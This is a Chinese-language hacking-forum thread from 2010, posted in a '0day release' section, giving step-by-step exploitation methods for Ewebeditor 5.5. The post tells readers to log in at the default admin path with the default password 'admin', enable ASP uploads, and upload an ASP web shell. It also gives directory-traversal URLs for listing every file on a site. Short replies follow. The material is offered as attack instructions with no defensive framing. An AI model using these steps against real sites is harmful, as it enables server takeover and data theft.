【3.A.S.T】网络安全爱好者 » 0day发布 » Ewebeditor 5.5 列目录漏洞利用方法

hyrz 发表于 2010-6-22 14:51

Ewebeditor 5.5 列目录漏洞利用方法

发布时间：2010-01-11

影响版本：Ewebeditor 5.5

发布作者：udb311 from 黑白前线

漏洞描述：

利用方法1：

后台登录：ewebeditor5.5 默认后台/admin/ewebeditor/admin/login.asp 默认密码admin

添加上传类型asp，调用用样式上传页ewebeditor/ewebeditor.htm?id=body&style=popup直接上传asp大马。



利用方法2：

进入后台，ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=../一级跳转目录

ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=../../二级跳转目录

可遍历网站所有目录文件。

qnbs1 发表于 2010-6-23 09:10

这个我看过

qnbs1 发表于 2010-6-23 09:15

这个我看过

MonsT.R-凌乱 发表于 2010-6-24 00:24

5.5版本还没见过了
有待测试

查看完整版本: Ewebeditor 5.5 列目录漏洞利用方法